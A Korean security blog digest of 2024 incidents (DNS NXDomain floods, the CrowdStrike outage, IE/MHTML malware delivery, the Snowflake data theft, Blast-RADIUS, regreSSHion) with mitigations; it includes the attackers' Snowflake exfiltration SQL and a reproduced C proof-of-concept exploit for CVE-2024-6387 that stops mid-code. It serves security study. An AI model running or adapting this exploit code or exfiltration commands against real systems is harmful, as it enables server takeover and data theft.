- DNS 서버의 핵심적 열할 때문에 항상 주요 공격 표적이 됨 [1] > 23년 한 보고서에 따르면 DNS 서버를 대상으로 한 DDoS 공격은 22년 대비 약 4배 증가 [2] - 과거 DNS 서버 대상 위협이 확인되지 않던 과거와 달리 최근 국내 DNS 서버를 대상으로 한 공격이 식별 및 증가 추세 > 24년 초를 기점으로 유입되었던 소량의 이상 트래픽은 점차 증가 > DNS 서버가 짧은 기간 동안 지속적이면서도 반복적인 대량의 NXDomain 응답 반환 식별
2. 주요내용
2.1 DNS
- Domain Name Service: 도메인 네임(www[.]example[.]com)과 IP 주소(1.1.1[.]1)를 서로 변환하는 역할
> DNS Client는 DNS Resolver에게 도메인 네임의 IP 주소를 요청
> DNS Resolver는 Root 네임 서버, TLD(Top-Level Domain) 네임 서버, Authoritative 네임 서버에 질의를 전송 및 응답
2.2 NXDomain (Non-eXistent Domain)
- 질의한 도메인 네임이 존재하지 않을 때 응답 값
2.3 DDoS
2.3.1 NXDomain Flooding (Nonsense Name Attack)
- 2015년에 처음 알려진 공격 유형
- 존재하지 않는 도메인 질의를 요청할 시 권한(Authoritative) 네임 서버가 불필요한 자원을 소모한다는 점을 착안
> IP를 위•변조하여 존재하지 않는 도메인에 대한 다량의 질의를 통해 요청을 처리하는 DNS 서버의 자원을 소모시켜 서비스 거부 상황을 초래
※ 단순히 대상 DNS 서버의 자원을 소모시키는 목적을 지니므로 요청에 대한 응답을 받을 필요가 없으므로 IP 위•변조 가능
2.3.2 Sub-Domain Scan Attack
- Sub-Domain: 주 도메인에 추가된 하위 도메인
> 서로 다른 별도의 기능을 가진 웹사이트를 구분하여 운영하기 위해 사용
- 해당 공격은 공격자가 대상 도메인의 하위 도메인을 검색하여 네트워크 구조 파악 및 잠재적인 취약점을 찾기 위함
> 다양한 서브 도메인을 질의하여 존재 여부 확인을 목적으로 하며, 존재하지 않는 서브 도메인의 경우 NXDomain 응답
> 보호되지 않은 자원을 발견하거나 공격할 수 있는 새로운 경로를 찾는 것이 목적
※ DNSCewl(서로 다른 문자열을 조합하여 공격에 사용 가능한 새로운 문자열 생성하는 도구), haklistgen(외부 홈페이지를 스캔하여 서브 도메인, HTTP Response 페이로드에서 공격에 활용할 수 있는 문자열을 추출하는 도구) 등의 Tool 사용 [5][6]
※ 질의한 서브 도메인이 실제 존재하는지를 확인해야 하므로 IP 위•변조 불가
구분
NXDoamin Flooding
Sub-Domain Scan
공격 영향
DNS 서버의 자원에 과도한 부하 유발
트래픽 특징
높은 NXDomain 응답 비율
공격 목적
서비스 가용성 침해
취약한 도메인 식별
질의 도메인
무작위 도메인
존재 가능성 있는 도메인
출발지 IP 위•변조
가능
불가
3. 대응
- NSDomain Flooding은 과도한 응답을 유발시키는 것이 목적
> Response Rate Limiting (RRL)를 통해 NXDomain에대한 질의를 제한(nxdomains-per-second: 초당 NXDOMAIN 응답 수 제한) [7]
> L7 레벨에서 DNS서버의 NXDomain 응답 임계치를 설정하고, 임계치 이상의 응답이 있을 경우 해당 출발지 IP를 임시(or 영구) 차단
- Sub-Domain Scan은 취약하거나 새로운 공격 표면을 찾기 위한 목적
> 취약한 도메인이 외부에서 접속 가능한 상태로 운용되지 않도록 조치
> 또한, 조직 내부적으로 지속적인 공격 표면 관리(ASM, Attack Surface Management)를 통해 공격 표면을 줄이고 잠재적 위협을 사전에 차단해 보안 강화 필요
공격 표면 관리(ASM, Attack Surface Management) > 조직이 소유 및 운영하는 모든 자산을 지속적으로 모니터링 > 잠재적인 취약점 식별 및 이에 대한 대응 조치를 취하는 보안 전략 > 모든 서브 도메인과 경로를 포함한 전체 자산을 명확히 파악할 수 있으며, 내부 자산에 대한 가시성 확보 가능 > 노출된 공격 표면을 최소화하고 발견된 취약점을 신속히 조치함으로써 잠재적 공격 벡터를 줄일 수 있음
- CrowdStrike Falcon Sensor 업데이트 문제로 전 세계 PC에 BSOD 문제 발생 - 현재는 복구된 상태이며 업데이트 적용 전 충분한 테스트 필요
내용
- 24.07.19 전 세계 PC에서 BSOD(Blue Screen Of Death) 발생 > 해당 문제는 CrowdStrike Falcon Sensor 업데이트 이후 발생 > CrowdStrike Falcon Sensor 업데이트 이후 커널 드라이버 파일 csagent.sys로 인해 블루 스크린이 표시 > 전 세계 TV 방송국, 은행, 항공사 등이 업무가 마비되어 피해 확산 > 잘못된 업데이트로 인해 영향 받는 PC와 서버가 복구 부팅 루프에 빠져 제대로 시작되지 않음 ※ Mac과 Linux 호스트는 영향을 받지 않음
- CrowdStrike Falcon Sensor > 크라우드스트라이크의 공격 방어와 시스템 활동 모니터링을 위한 중요한 구성 요소
- CrowdStrike는 업데이트 롤백 조치 > 그러나 이미 영향을 받은 기기에는 롤백이 도움되지 않음 > 이에, CrowdStrike 엔지니어들은 임시 해결책 제시 ① 윈도우를 안전 모드로 부팅하거나 외장 드라이브에 탑재한 윈도우로 부팅 ② C:\Windows\System32\drivers\CrowdStrike로 이동 ③ C-00000291*.sys 파일 찾아서 삭제 ④ 정상적으로 재부팅 ※ 또는 04:09 UTC 이전의 스냅샷으로 롤백 ※ 해당 임시 방안 적용 전 영향도를 충분히 파악할 필요
- 충분한 테스트 없이 업데이트를 배포한 것이 문제의 원인 > CrowdStrike는 24.07.22 복구 도구 개발 및 배포 > WinPE 모드로 복구하는 것(관리자 권한 불필요)과 안전 모드로 복구(관리자 권한 필수)하는 두 가지 복구 옵션 제공 > MS 다운로드 센터에서 받을 수 있으며, 시스템 성능ㆍ사양ㆍ환경에 따라 두 옵션 중 하나 선택 권장 > 어떤 복구 모드를 선택하든 충분히 실험을 해 본 후 정식 도입 추천
- 24.07.24 CrowdStrike 첫 번째 조사 보고서 발표 > 24.07.19 CrowdStrike는 Falcon 플랫폼 정기 업데이트를 진행 > Rapid Response Content(신속대응콘텐트) 설정 최신화 과정에서 윈도와의 충돌이 발생 > Rapid Response Content 업데이트에 문제가 있었고, 이를 배포하기 전 파악하지 못했기 때문 ※ Falcon: Window 환경을 동적으로 보호하는 장치로, 꾸준한 업데이트를 필요로 함
⒜ Rapid Response Content(신속대응콘텐트) > 각종 행동 패턴 매칭 작업을 수행하는 데 필요한 핵심 요소 중 하나 > Falcon의 동적 보호를 가능하게 하는 원동력 > 스트레스 테스트를 다방면으로 진행하고 나서 업데이트를 배포하며 최종 배포 전 Content Validator(콘텐트밸리데이터) 도구를 활용해 업데이트의 유효성 확인
⒝ Content Validator 버그 > 24.07.19 Content Validator 버그로 인해 통과되지 않았어야 할 템플릿 인스턴스 한 개가 정상으로 분류 > 이후 Falcon 업데이트가 배포되었고, Out-Of-Bounds Memory read 문제가 발생하여 윈도와 충돌
⒞ 재발 방지 대책 > Rapid Response Content 시험 과정 강화: 시험 절차 삽입, 콘텐츠 업데이트와 롤백 양방향 시험, 스트레스 테스트, 퍼징 테스트 등 > Content Validator 오류 해결
기타
- 해당 사건은 24년 가장 중요한 IT 사건 중 하나로 기록될 것 > 강력한 비상 계획과 인프라의 다변화 필요성이 대두 > IT 인프라의 다변화와 업데이트 전 충분한 테스트의 중요성을 인식 > 단일 보안 SW에 의존하는 것이 얼마나 큰 위험을 초래할 수 있는지 보여주는 사례
- 해당 사고를 악용한 사이버 공격 시도가 발견되어 주의 필요 > 복구 및 지원을 가장한 악성파일 유포, 개인정보 입력 유도
- 22.06 지원이 종료된 Internet Explorer(IE)를 활용한 공격이 확인 - IE와 같이 더 이상 지원되지 않는 시스템이 공격에 악용될 수 있다는 사례를 반증 - 해당 취약점은 제로데이로 악용되다 24.07 패치가 적용
2. 주요 내용
- 공격 단체 Void Banshee는 IE를 활용해 정보 탈취형 멀웨어 Atlantida를 배포 [1] > IE는 22.06.15 공식적으로 지원 종료 및 비활성화 처리 > 사용자가 IE를 실행하면 Edge 브라우저가 실행 됨 > 호환성(아직 IE로 콘텐츠를 로딩해야만 하는 특수한 경우 등)을 위해 Edge 브라우저에 IE 모드를 탑재 > IE의 일부 구성요소가 있어야 IE 모드가 정상적으로 작동하기 때문에 아직 남아있는 것
※ Edge 브라우저 > 설정 (우측 상단 ...) > 기본 브라우저 > IE 호환성에서 IE 모드 설정 가능
2.1 CVE-2024-38112 [2]
- Windows MHTML 플랫폼 스푸핑 취약점 > MHTML (MIME HTML): HTML 코드와 해당 코드를 구현하는 데 필요한 외부 자원들을 포함한 파일 [3][4] > 공격자는 MHTML과 x-usc를 사용해 해당 취약점을 악용 > x-usc: 웹 페이지 내에서 다른 웹 페이지를 포함하거나 리소스를 로드하는 데 사용
2.2 공격 과정
① 파일 유포
- 공격자는 PDF 파일을 압축(ZIP)하여 유포 > 온라인 라이브러리, 클라우드 공유 사이트, 디스코드, 미리 침해한 웹 사이트 등을 통해 유포 > 고도의 전문분야에 종사하는 사람들을 대상으로 공격을 진행하는 것으로 판단됨
② 악성 파일 실행
- 사용자가 압축 해제 후 PDF로 위장한 악성 파일을 실행 > 악성 파일은 PDF 아이콘으로 위장한 URL 파일 > 해당 파일은 MHTML과 x-usc를 사용해 IE 실행 및 악성 웹 사이트로 리다이렉션
③ HTA 파일 다운
- IE를 통해 해당 URL에 접속하여 HTA 파일을 다운 > IE는 Edge, Chrome과 달리 HTA 파일이 실행됨 > 26개의 공백을 포함하여 HTA 파일을 다운 Ex) 파일명.pdf<공백 26칸>.hta
④ PowerShell 명령 실행
- HTA 파일은 XOR로 암호호화된 콘텐츠를 복호화 하는 기능을 가진 VBScript가 포함 > 복호화된 스크립트는 또 다른 악성 스크립트 실행 반복
⑤ Atlantida 멀웨어 다운
- 최종적으로 정보 탈취 멀웨어 Atlantida를 다운 및 실행 > 수집된 모든 데이터를 ZIP 파일로 압축하고 TCP 포트 6655를 통해 공격자의 C&C 서버로 유출
※ 관련 IoC [5] 참고
2.3 결론
- 사용자가 더 이상 액세스할 수 없는 서비스를 공격자는 여전히 악용 가능 > 해당 서비스를 악용해 랜섬웨어, 백도어, 백도어 등을 유포 > IE 처럼 공격 표면이 크고, 더 이상 지원되지 않는 비활성화된 서비스의 경우 더 큰 파급력을 지님 > 또한, 오래된 컴퓨터ㆍSWㆍFirmware, 퇴사자 계정 등 관리 강조
- UNC5537 해킹 그룹이 Snowflake 고객 데이터베이스에 접근 및 데이터 탈취 - Infostealer 멀웨어를 통해 획득한 자격 증명을 사용 - 침해된 데이터들은 다크웹에서 판매
2. 주요 내용 [1]
① 계정 탈취
- 공격자들은 Infostealer 악성코드를 활용해 계정 탈취 > 피싱, 불법 복제 소프트웨어 등으로 악성코드 유포 > 조사에 따르면 악용된 계정 중 79.7%가 이전에 노출된 적이 있음 > 탈취된 계정 증명은 23년 기준 공격자들의 주요 최초 침투 전략 중 4위에 랭크(전체 침투 사건의 10%) > VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA 및 METASTEALER Infostealer 활용
※ 클라우드 설정 오류로 인한 크리덴셜 유출 > 최근 클라우드가 크게 유행하면서 발생 > 사용자가 민감한 데이터가 저장된 클라우드 DB를 설정 오류로 전체 공개로 설정 > 해당 DB의 URL만 알게된다면 DB에 접근 및 정보 열람이 가능 > 많은 사용자들의 여러 설정 오류와 같은 실수로 공격자에게 정보를 탈취 당함
② 정찰
- Snowflake 고객 인스턴스의 초기 접근은 웹 기반 UI(SnowFlake UI , SnowSight) 또는 윈도우 서버 2022에서 실행되는 CLI 도구(SnowSQL)를 이용 > 공격자들은 .NET 및 Java 버전의 FROSTBITE를 정찰 도구로 활용 > .NET 버전은 Snowflake .NET 드라이버와, JAVA 버전은 Snowflake JDBC 드라이버와 연동해 작동 > FROSTBITE는 사용자, 현재 역할, IP, 세션 ID 및 조직 이름 등의 정보를 수집 > 오픈 소스 DB 관리 유틸리티인 DBeaver Ultimate를 사용해 Snowflake 인스턴스 연결 및 쿼리 실행
③ 정보 탈취
명령
설명
SHOW TABLES
- 정찰 및 모든 DB와 연관된 Table 나열
SELECT * FROM
- 관심 있는 개별 Table 다운로드 Ex. SELECT * FROM <Target Database>.<Target Schema>.<Target Table>
LIST/LS
- 임시 스테이지를 만들기 전 LIST 명령을 사용해 다른 스테이지 열거 시도 (기존 스테이지 파악 용도) - 생성된 임시 스테이지는 생성자의 세션이 종료되면 삭제 ※ 스테이지: 데이터 파일을 DB 테이블에 로드/언로드하기 위한 이름이 지정된 테이블 Ex. ls <internal or external stage name>
CREATE (TEMP|TEMPORARY) STAGE
- CREATE STAGE 명령으로 데이터 저장을 위한 임시 스테이지 생성 Ex. CREATE TEMPORARY STAGE <Redacted Database>.<Redacted Schema>. <Redacted Attacker Stage Name>;
COPY INTO
- 확보한 데이터를 이전에 생성한 임시 스테이지로 복사 - 해당 명령은 내ㆍ외부 스테이지, 내부 Snowflake 테이블로 정보를 복사하는데 사용 - 공격자는 유출 전 데이터의 전체 크기를 줄이기 위해 COMPRESSION 매개변수를 사용해 결과를 GZIP 파일로 압축 Ex. COPY INTO @<Attacker Stage and Path> FROM (select * FROM <Target Database>.<Target Schema>.<Target Table> ) FILE_FORMAT = ( TYPE='CSV' COMPRESSION=GZIP FIELD_DELIMITER=',' ESCAPE=NONE ESCAPE_UNENCLOSED_FIELD=NONE date_format='AUTO' time_format='AUTO' timestamp_format='AUTO' binary_format='UTF-8' field_optionally_enclosed_by='"' null_if='' EMPTY_FIELD_AS_NULL = FALSE ) overwrite=TRUE single=FALSE max_file_size=5368709120 header=TRUE;
GET
- 임시 스테이지에서 데이터를 로컬로 지정된 디렉토리로 유출 Ex. GET @<target stage and filepath> file:///<Attacker Local Machine Path>;
- 공격자는 Mullvad, PIA VPN을 활용해 침해한 Snowflake 인스턴스에 접근 > 탈취한 데이터는 ALEXHOST SRL(몰도바 호스팅 업체)의 VPS(Virtual Private Serve) 시스템에 저장
2.1 특징
- 공격자들은 3가지 특징을 보임 ① 다중인증 기능이 활성화 되지 않은 채 Snowflake 계정 사용 ② 계정 비밀번호를 오랜 기간 변경 없이 사용 ③ 신뢰할 만한 지역에서만 로그인이 가능하도록 하는 옵션 비활성화
- 해당 사건은 클라우드 플랫폼 보안에 대한 책임을 사용자와 플랫폼 업체가 공유한다는 개념이 부실하여 생긴 사건 > 플랫폼 업체는 취약점 관리와 클라우드 내 테넌트들끼리 침범하지 못하도록 하는 등 관리 책임 > 사용자는 계정이나 DB를 안전하게 설정하는 등 안전하게 사용할 책임
2.2 대응방안
- 주기적인 비밀번호 변경 - 여러 서비스간 동일 비밀번호 사용 금지 - 다중인증 기능 활성화 - 접근 제한 기능 활용 등
- RADIUS 프로토콜에서 설계 결함으로 인한 취약점 발견 [1] - RADIUS 프로토콜이 개발되고 30년만에 처음으로 발견 - 익스플로잇에 성공할 경우 RADIUS를 기반으로 한 시스템과 네트워크에 자유롭게 출입할 수 있음 > 프로토콜 자체의 취약점이므로 모든 시스템이 영향을 받음
1.1 RADIUS (Remote Authentication Dial In User Service) [2]
- 클라이언트/서버 모델로, AAA 기능 구현을 위한 인증 프로토콜 (인증_Authentication, 권한부여_Authorization, 계정관리_Accounting) - ISP에서 사용하는 H/W 또는 S/W 등에 의한 원격 접속에 대한 인증용 서버를 지칭 - 사용자, RADIUS 클라이언트(인증 에이전트: VPN, WLAN, AP, NAS 등), RADIUS 서버(인증 서버)로 구성 - 원격 인증 및 접근 관리, 인증 및 권한 부여, 계정 감사 등의 기능을 제공
2. 주요내용
2.1 CVE-2024-3596 [3]
- RADIUS 프로토콜의 설계상 취약점으로 인해 발생하는 취약점
> 익스플로잇에 성공할 경우 로컬 네트워크에 아무 ID를 이용하여 인증 및 접근이 가능 > RADIUS 트래픽은 UDP를 통해 전송되며, MD5 기반의 암호화를 사용하므로 취약 > 개념 증명용 PoC가 개발되었으나 파급력이 너무 클 것으로 예상되어 공개하지 않음 > 공격자는 해시 충돌과 중간자 공격(RADIUS Client와 Server 사이)을 통해 익스플로잇
※ 해시 충돌: 서로 다른 입력 값이 동일한 출력 값을 가지는 상황
2.2 MD5 (Message-Digest algorithm 5) [4]
- 임의의 길이의 값을 입력받아 128Bit 길이의 해시값을 출력하는 알고리즘 - 1991년 설계되었고, 1996년 설계상 결함과 2004년, 2006년 해시 충돌 발견으로 사용이 권장되지 않음 [5]
2.3 공격 과정
- RADIUS Client는 Access-Request 메시지를 전송하고, RADIS Server는 Access-Reject 또는 Access-Accept 메시지로 응답 > Access-Reject 또는 Access-Accept 메시지는 Access-Request, 해시값, 클라이언트-서버간 공유 비밀을 활용해 Response Authenticator(MAC) 생성 > 공격자는 Response Authenticator 생성에 활용되는 해시값을 위조 ① ID and Request Authenticator: 공격자가 Access-Request에서 확인한 값 ② Code, Length, and Packet Attributes: 서버 응답 값(공격자가 예측) ③ Shared Secret: 클라이언트와 서버가 사전 공유한 비밀 값
- 전체적인 공격 과정은 다음과 같음
① 공격자는 잘못된 계정 정보를 이용해 로그인 요청 ② RADIUS Client는 Access-Request 메시지 전송 ③ 공격자는 중간에서 메시지를 가로채 MD5 해시 충돌 계산 > 공격자는 예상되는 Access-Reject와 위조하고자 하는 Access-Accept의 MD5 충돌 계산 > MD5(Access-Reject||RejectGibberish) == MD5(Access-Accept||AcceptGibberish)를 만족하는 RejectGibberish, AcceptGibberish ④ 충돌 계산을 마친 공격자는 Proxy-State로 위장하여 Access-Request 전송 > Access-Request에 RejectGibberish를 추가하여 > 요청과 응답을 가로채 위조하기 위해 Proxy-State를 활용하는 것으로 판단됨 ⑤ RADIUS Server는 Access-Request를 확인 및 Access-Reject 메시지 응답 > 잘못된 계정 정보를 시용하였기 때문에 요청 거절 > Access-Reject == MD5(Access-Reject||RejectGibberish||SharedSecret) ⑥ 공격자는 응답을 가로채 예상한 패턴(MD5 충돌)과 일치하는지 확인 > 예상한 패턴과 일치하는 경우 Access-Accept||AcceptGibberish로 변경하여 Client에 전송 ⑦ MD5 충돌로 RADIUS Client는 엑세스 권한 부여
2.3. 대응방안
① 단기완화: 클라이언트와 서버가 모든 요청과 응답에 대해 항상 Message-Authenticator 속성을 보내고 요구 ② 장기완화: RADIUS over TLS(RADSEC)로 업그레이드
- OpenSSH 생태계에서 새로운 취약점(RCE)이 발견 [1] > glibc 기반 Linux 시스템에서 OpenSSH 서버(sshd)에서 발생 > OpenSSH: SSH를 이용하여 암호화된 통신 세션을 제공하는 컴퓨터 프로그램의 모임 [2] - 해당 취약점은 2006년 이미 발견되어 수정된 취약점이 최근 패치로 인해 다시 발생된 것
2. 주요내용
- 해당 취약점은 과거 수정된 취약점이 최근 패치로 인해 다시 발생 > 기존에 잘 동작하던 S/W가 패치 이후 버그나 문제가 생기는 것을 Regression(회귀)이라 함 > 해당 취약점 또한 Regression으로 발생한 OpenSSH 취약점이란 의미로 regreSSHion 취약점이라 불림
2.1 CVE-2006-5051 [3]
- 취약한 버전의 OpenSSH에서 발생하는 서비스 거부 및 임의 코드 실행 취약점 (CVSS: 8.1)
① 신호 처리기 경쟁 조건이 발생할 경우 서비스 거부를 발생시킬 수 있음 > 신호 처리기는 시스템에서 발생하는 특정 이벤트(예: SIGTERM, SIGINT)에 대한 응답으로 실행되는 코드 > 공격자는 과도한 요청 통해 신호처리기에 과부하 및 서버 충돌을 유발하여 서비스 거부를 발생시키는 것으로 판단됨
② GSSAPI 인증이 활성화된 경우 임의 코드를 실행할 수 있음 > GSSAPI(Generic Security Service Application Program Interface) authentication: 시스템 간 보안 서비스에 대한 액세스를 제공하는 표준 인터페이스 [4] > 사용자 인증, 데이터 암호화, 메시지 무결성 등 다양한 보안 서비스를 위한 통합된 프레임워크를 제공
영향받는 버전: OpenSSH 4.4 이전 버전
2.2 CVE-2024-6387 [5]
- Open SSH 서버(sshd)에서 Regression으로 인해 발생하는 원격 코드 실행 취약점 (CVSS: 8.1) > 신호 처리기의 결함으로 경쟁 조건이 발생하며, 이를 악용해 인증 프로세스 중 서버에 임의의 코드를 삽입하고 실행할 수 있음 > 익스플로잇에 성공할 경우 서버를 완전히 제어할 수 있게 됨
영향받는 시스템: OpenSSH 8.5p1 ~ 9.7p1 이전 버전
- 취약점은 sshd가 클라이언트 인증을 처리하는 방식과 그에 따른 비동기 처리에서 비롯 [6] > 클라이언트가 sshd에 연결을 시도하면 서버는 지정된 기간인 'LoginGraceTime' 동안 대기
* 이 기간 동안 서버는 클라이언트가 성공적으로 인증할 수 있는지 확안
> 클라이언트가 지정된 시간 내 인증에 실패할 경우 비동기 신호 처리기 'SIGALRM'이 트리거되어 서버가 다른 작업을 수행할 수 있음
* SIGALRM: alarm 함수 등으로 설정한 타이머가 만료될 때 발생하는 시그널
> 취약한 버전의 경우, SIGALRM 신호 처리기는 'async-signal-unsafe' 함수를 호출 > 'async-signal-unsafe' 함수에서 경쟁 조건이 유발
2.3 PoC [7]
/** 7etsuo-regreSSHion.c
* -------------------------------------------------------------------------
* SSH-2.0-OpenSSH_9.2p1 Exploit
* -------------------------------------------------------------------------
*
* Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion)
* Author : 7etsuo
* Date : 2024-07-01
*
* Description:
* Targets a signal handler race condition in OpenSSH's
* server (sshd) on glibc-based Linux systems. It exploits a vulnerability
* where the SIGALRM handler calls async-signal-unsafe functions, leading
* to rce as root.
*
* Notes:
* 1. Shellcode : Replace placeholder with actual payload.
* 2. GLIBC_BASES : Needs adjustment for specific target systems.
* 3. Timing parameters: Fine-tune based on target system responsiveness.
* 4. Heap layout : Requires tweaking for different OpenSSH versions.
* 5. File structure offsets: Verify for the specific glibc version.
* -------------------------------------------------------------------------
*/
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);
int
main (int argc, char *argv[])
{
if (argc != 3)
{
fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
exit (1);
}
const char *ip = argv[1];
int port = atoi (argv[2]);
double parsing_time = 0;
int success = 0;
srand (time (NULL));
// Attempt exploitation for each possible glibc base address
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
// The advisory mentions "~10,000 tries on average"
for (int attempt = 0; attempt < 20000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 20000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
break;
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return !success;
}
int
setup_connection (const char *ip, int port)
{
int sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror ("socket");
return -1;
}
struct sockaddr_in server_addr;
memset (&server_addr, 0, sizeof (server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
{
perror ("inet_pton");
close (sock);
return -1;
}
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
< 0)
{
perror ("connect");
close (sock);
return -1;
}
// Set socket to non-blocking mode
int flags = fcntl (sock, F_GETFL, 0);
fcntl (sock, F_SETFL, flags | O_NONBLOCK);
return sock;
}
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
size_t len)
{
unsigned char packet[MAX_PACKET_SIZE];
size_t packet_len = len + 5;
packet[0] = (packet_len >> 24) & 0xFF;
packet[1] = (packet_len >> 16) & 0xFF;
packet[2] = (packet_len >> 8) & 0xFF;
packet[3] = packet_len & 0xFF;
packet[4] = packet_type;
memcpy (packet + 5, data, len);
if (send (sock, packet, packet_len, 0) < 0)
{
perror ("send_packet");
}
}
void
send_ssh_version (int sock)
{
const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
{
perror ("send ssh version");
}
}
int
receive_ssh_version (int sock)
{
char buffer[256];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer) - 1, 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
buffer[received] = '\0';
printf ("Received SSH version: %s", buffer);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving SSH version\n");
}
else
{
perror ("receive ssh version");
}
return -1;
}
void
send_kex_init (int sock)
{
unsigned char kexinit_payload[36] = { 0 };
send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}
int
receive_kex_init (int sock)
{
unsigned char buffer[1024];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
printf ("Received KEX_INIT (%zd bytes)\n", received);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
}
else
{
perror ("receive kex init");
}
return -1;
}
int
perform_ssh_handshake (int sock)
{
send_ssh_version (sock);
if (receive_ssh_version (sock) < 0)
return -1;
send_kex_init (sock);
if (receive_kex_init (sock) < 0)
return -1;
return 0;
}
void
prepare_heap (int sock)
{
// Packet a: Allocate and free tcache chunks
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset (tcache_chunk, 'A', sizeof (tcache_chunk));
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
// These will be freed by the server, populating tcache
}
// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
for (int i = 0; i < 27; i++)
{
// Allocate large chunk (~8KB)
unsigned char large_hole[8192];
memset (large_hole, 'B', sizeof (large_hole));
send_packet (sock, 5, large_hole, sizeof (large_hole));
// Allocate small chunk (320B)
unsigned char small_hole[320];
memset (small_hole, 'C', sizeof (small_hole));
send_packet (sock, 5, small_hole, sizeof (small_hole));
}
// Packet c: Write fake headers, footers, vtable and _codecvt pointers
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure (fake_data, sizeof (fake_data),
GLIBC_BASES[0]);
send_packet (sock, 5, fake_data, sizeof (fake_data));
}
// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset (large_string, 'E', sizeof (large_string));
send_packet (sock, 5, large_string, sizeof (large_string));
}
void
create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base)
{
memset (data, 0, size);
struct
{
void *_IO_read_ptr;
void *_IO_read_end;
void *_IO_read_base;
void *_IO_write_base;
void *_IO_write_ptr;
void *_IO_write_end;
void *_IO_buf_base;
void *_IO_buf_end;
void *_IO_save_base;
void *_IO_backup_base;
void *_IO_save_end;
void *_markers;
void *_chain;
int _fileno;
int _flags;
int _mode;
char _unused2[40];
void *_vtable_offset;
} *fake_file = (void *)data;
// Set _vtable_offset to 0x61 as described in the advisory
fake_file->_vtable_offset = (void *)0x61;
// Set up fake vtable and _codecvt pointers
*(uint64_t *)(data + size - 16)
= glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
*(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}
void
time_final_packet (int sock, double *parsing_time)
{
double time_before = measure_response_time (sock, 1);
double time_after = measure_response_time (sock, 2);
*parsing_time = time_after - time_before;
printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}
double
measure_response_time (int sock, int error_type)
{
unsigned char error_packet[1024];
size_t packet_size;
if (error_type == 1)
{
// Error before sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
}
else
{
// Error after sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
}
struct timespec start, end;
clock_gettime (CLOCK_MONOTONIC, &start);
send_packet (sock, 50, error_packet,
packet_size); // SSH_MSG_USERAUTH_REQUEST
char response[1024];
ssize_t received;
do
{
received = recv (sock, response, sizeof (response), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
clock_gettime (CLOCK_MONOTONIC, &end);
double elapsed
= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
return elapsed;
}
void
create_public_key_packet (unsigned char *packet, size_t size,
